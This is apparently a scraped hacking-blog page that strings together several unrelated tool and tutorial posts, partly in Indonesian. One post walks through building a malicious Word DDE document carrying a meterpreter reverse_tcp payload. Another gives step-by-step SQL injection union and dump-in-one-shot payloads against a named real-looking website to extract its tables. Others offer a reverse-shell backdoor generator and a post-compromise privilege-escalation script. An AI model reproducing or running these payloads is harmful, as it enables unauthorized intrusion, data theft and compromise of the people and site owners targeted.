Termux ID: Script -->

    Social Items

Home / Script

Automated script to search in SMB protocol for availables pipe names.

Requirements

How to Run

Screenshots




Notes:
This script can be copied to a system path , it will run independently .


Pipe Finder - Automated script to search in SMB protocol for availables pipe names



Maxteroit - Akhir akhir ini telah ditemukan sebuah cara untuk memanfaatkan salah satu fitur yang ada pada Microsoft Windows untuk melakukan suspicous activity. Fitur itu tak lain ialah DDE, kabarnya pula fitur ini telah banyak disalahgunakan untuk menyebarkan malware dan ransomeware.

Sekilas Mengenai Microsoft DDE Vulnerability

DDE ( Dynamic Data Exchange ) merupakan salah satu fitur dalam Microsoft Office yang memungkinkan dua buah aplikasi untuk membagikan data yang sama. Sayangnya beberapa waktu lalu telah ditemukan cara memanfaatkan fitur tersebut untuk melakukan arbitary code execution. Salah satu keunggulan kelemahan ini adalah tak ada pop up warning , tak membutuhkan macros, dan tak memerlukan memory corruption.

Alat Tempur

Langkah-langkah

  • -         Download script dengan perintah

wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb
  • -         Simpan di

/usr/share/metasploit-framework/modules/exploits/windows/
  • -         Jalankan Metasploit
  • -         Jalankan perintah 

use exploits/windows/dde_delivery

  • -     Setting payload 

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.x.x

set LPORT 4444

  • -         Jalankan exploit
  • -         Copy script yang muncul pada module dan buka VirtualMachine kalian
  • -         Buka Microsoft Word
  • -         Klik tab Insert > Quick Parts > Fields > Ok


  •  -        Klik kanan pada kalimat yang muncul, pilih Toggle Field Code

  • -         Ganti dengan script yang kita dapat dari module


  • -         Save !
  • -         Buka file doc yang telah kita simpan tadi.
  • -         Syarat sah agar exploit ini bekerja adalah si korban harus mengklik yes pada 2 window yang keluar


  • -         Bila berhasil maka, Selamat !!! Kamu Baru Saja Mendapatkan Meterpreter Session!!!


Pencegahan

            Untuk mencegah serangan yang serupa maka kita bisa melakukan hal berikut :

Buka Office Button > Word Options > Advanced > uncheck Update Automatic Link at Opens.


Dan cara yang terampuh ialah jangan pernah membuka file mencurigakan apapun yang kalian dapat dari email maupun sumber lain.



Mengeksploitasi Celah 0day Microsoft DDE Vulnerability

This small script will simulate fake processes of analysis, sandbox and/or VM software that some malware will try to avoid. You can download the original script (made by @x0rz ) in the orig directory.

You can also download my slightly optimized script in the main directory. The file is named fsp.ps1.

Script-Features
  • Some (good) spyware will stop spying on you as long as the processes run, which are created by this script.
  • Requirements: Powershell (preinstalled on Win 7 and newer)
  • Runs on every Windows since Vista
  • Tiny size
  • No CPU load
  • Easy to use
  • No network connection required

Installer-Features
  • Automatically install the script to your autostart directory
  • Extremely easy to install
  • Uninstaller to purge all files
  • NO requirements
  • Tiny size
  • Offline package
  • Automatic updater included - only if you want!

Usage:
Open the command line and paste this command (don't forget to adjust the path!):
Powershell -executionpolicy remotesigned -File "Your\Path\fsp.ps1"
After pressing ENTER you will be asked to either start or stop all processes.

Autostart
If you execute the powershell script with the above command, you will have to rerun it after every login or startup. In order to autostart the script I made an easy-to-use installer.
  • Download the fsp-installer.bat file from the release section.
  • Double-click it.
  • Now you will see this cmd window:

  • Choose "i" to start the installer.
  • Now enter "y" to start installing or "n" to abort.
  • If you entered "y" this image will now pop up:

  • Enter "y" to install the auto-updater or "n" to not install it (it'll work anyways, but it is recommended to install the updater).
You can now close the window or press any key to close it. The (un)installation is complete.

Uninstall
If you no longer want this program on your computer, you'll need the fsp-installer.bat file again. Run it and chose "u" to start the uninstallation process. Then enter "y" if you are ready to uninstall it.


If the process was successful, you'll see a confirmation screen.

Successfully tested on the following Windows versions:
  • Win 10 Professional
  • Win 8.1 Home
  • Win 7 Professional


Fake Sandbox Processes (FSP) - Tool to simulate fake processes of analysis sandbox/VM software






oke guys ketemu lg neh sama cakil :v
kali ini saya akan kasih tutorial sqli dengan dios (dump in shoot)
langsung ae guys
dork : sini
ok karna saya lg kurang beruntung ga ketemu list admon nya maka saya akan
ngasih tau dump nya sadja oc :v

ok saya anggap lu udah punya target :v
http://smtmax.com/category.php?id=15
lanjut masukan kode order by



+order+by+1--+ <- ga error
 +order+by+2--+ <- ga error
 dan seterus nya.. dan erorr nya ternyata ada di
 +order+by+15--+ (yang berarti column hanya di 14)
oke kita masukan
+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--+ 
(liat gambar di atas)
jadinya akan terlihat seperti ini
http://smtmax.com/category.php?id=15+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--+

dan muncul angka 3 dan kita masukan dios nya :v 
(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x)
 
jadi akan seperti ini 
http://smtmax.com/category.php?id=15+union+select+1,2,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x),4,5,6,7,8,9,10,11,12,13,14--+
(lihat gambar) :v
disini saya akan mendump id,longname,descs (karna tempat admon nya ga tau :v )
 ok masukan
group_concat(id,0x3a,longname,descs) <- karna saya mendump id,longname dan descs bukan admon ea :v kurang beruntung saya kwkwkwkwk :v 
nanti akan terlihat column yang kita dump
(liat gambar)
nanti akan seperti ini
http://smtmax.com/category.php?id=15+union+select+1,2,group_concat(id,0x3a,longname,descs),4,5,6,7,8,9,10,11,12,13,14+from+cms_category--+

nah sudah muncul tuh :v mudah kan ?
ok sekian dan terima kasih :) kalo ada yang ingin di tanya kan silahkan
tanyakan di fp kami
link
 

Cara Mudah SQLI With Dios


A script written lazily for generating reverse shell backdoors on the go whenever you need without any hassle for your daily penetration needs . These backdoors are not James Bond high tech stuff but rather simple ones to prevent over exploitation and limited capabilities Once you generate the payload somehow execute on the concerned system either Win or nix based systems . Once executed you will have the capability of executing remote commands on the compromised host.

Usage
python zerodoor.py
Tiny Overview
Nothing special it includes three basic backdoor generation capability for :-
  1. Nix/OSX Based
  2. Windows Shit
Poweshell payload generation have been added due to its sofistication and presistence :)

Author
Souhardya Sardar is a lazy guy who keeps learning and gets trolled by experts Github :- github.com/Souhardya


ZeroDoor - A Script Written Lazily For Generating Cross-Platform Backdoors


Bash script purposed for system enumeration, vulnerability identification and privilege escalation.
MIDA Multitool draws functionality from several of my previous scripts namely SysEnum and RootHelper and is in many regards RootHelpers successor.
Besides functionality from these two previous scripts it incorporates some of it's own and as such aims to be a comprehensive assistant for operations and utilities related to system enumeration, vulnerability identification, exploitation and privilege escalation.

Usage
After a system has been succesfully compromised MIDA should be downloaded to the host in question either with git or wget, after it has been unpacked/cloned the shellscript needs to be made executable with chmod +x mida.sh
Upon doing so it can be run on the target host. The options available to the user are below.
The 'Usage' option prints this informational message. The option 'System Enumeration' attempts to retrieve system information such as OS and kernel details, network status, processes, system logs and more. 'Common Utilities' checks for the existence of useful utilities such as telnet, netcat, tcpdump etc. 'External Utilities' opens a menu which lets you download external utilities that may prove to be helpful with further enumeration, vulnerability identification and privilege escalation.
Finally the option 'Cleartext Credentials' searches for text and web application files that contain certain keywords in order to find potential cleartext passwords.

Scripts available for download with MIDA


MIDA-Multitool - Bash Script Purposed For System Enumeration, Vulnerability Identification And Privilege Escalation


Selenium powered Python script to automate searching the web for vulnerable applications.
DorkNet can take a single dork or a list of dorks as arguments. After the proper command line arguments have been passed, the script will use Selenium and Geckodriver to find the results we want and save them to a textfile for further processing with SQLmap or similar utilities.

Usage
git clone https://github.com/NullArray/DorkNet.git
cd DorkNet
python dorknet.py
The options for the program are as follows.
-h, --help              show this help message and exit
-d DORK, --dork DORK    specify the dork you wish to use
-l LIST, --list LIST    specify path to list with dorks
-v, --verbose           toggle verbosity
Some examples for clarity.
DorkNet.py -h
DorkNet.py -d inurl:show.php?id= -v
DorkNet.py -l /path/to/list.txt --verbose

Dependencies
You will need the Mozilla Geckodriver for this to work. After it has been installed feel free to use the requirements file i made for this program
pip install -r requirements.txt

Known Issue
By using Selenium and Geckodriver, DorkNet is effective at emulating a regular browser. In this manner the program is able to avoid captchas most of the time. However on limited occasions, Google throws one regardless. The same sometimes happens when manually searching for strings that look like a dork. Should you encounter one, you can just fill out the captcha in the Geckodriver and DorkNet will continue it's normal operation.


DorkNet - Selenium Powered Python Script To Automate Searching For Vulnerable Web Apps


ACLight is a tool for discovering privileged accounts through advanced ACLs (Access Lists) analysis. It includes the discovery of Shadow Admins in the scanned network.
The tool queries the Active Directory (AD) for its objects' ACLs and then filters and analyzes the sensitive permissions of each one. The result is a list of domain privileged accounts in the network (from the advanced ACLs perspective of the AD). You can run the scan with just any regular user (could be non-privileged user) and it automatically scans all the domains of the scanned network forest.
Just run it and check the result.
You should take care of all the privileged accounts that the tool discovers for you. Especially - take care of the Shadow Admins - those are accounts with direct sensitive ACLs assignments (not through membership in other known privileged groups).

Usage:
Option 1:
  • Double click on "Execute-ACLight.bat".
Option 2:
  • Open PowerShell (with -ExecutionPolicy Bypass)
  • Go to "ACLight" main folder
  • “Import-Module '.\ACLight.psm1'”
  • “Start-ACLsAnalysis”

Reading the results files:
  1. First check the - "Accounts with extra permissions.txt" file - It's straight-forward & important list of the privileged accounts that were discovered in the scanned network.
  2. "All entities with extra permissions.txt" - The file lists all the privileged entities that were discovered, it will include not only the user accounts but also other “empty” entities like empty groups or old accounts.
  3. "Privileged Accounts Permissions - Final Report.csv" - This is the final summary report - in this file you will find what are the exact sensitive permissions each account has.
  4. "Privileged Accounts Permissions - Irregular Accounts.csv" - Similar to the final report with only the privileged accounts that have direct assignment of ACL permissions (not through their group membership).
  5. "[Domain name] - Full Output.csv" - Raw ACLs output for each scanned domain.

Scalability - scanning very large networks or networks with multiple trusted domains:
The tool by default will scan automatically all the domains in the target scanned AD forest.
If you want to scan a specific domain and not the others - you can just close those domains’ pop-up windows when they show up and continue regularly.
If you are scanning very large network (e.g. 50,000+ users in one domain) and encounter memory limitations during the scan - there are some tips you can check in the “issue” page.

References:
The tool uses functions from the open source project PowerView by Will Schroeder (@harmj0y) - a great project.
For more comments and questions, you can contact Asaf Hecht (@Hechtov) and CyberArk Labs.


ACLight - PowerShell Script for Advanced Discovery of Privileged Accounts (includes Shadow Admins)

Subscribe to: Posts (Atom)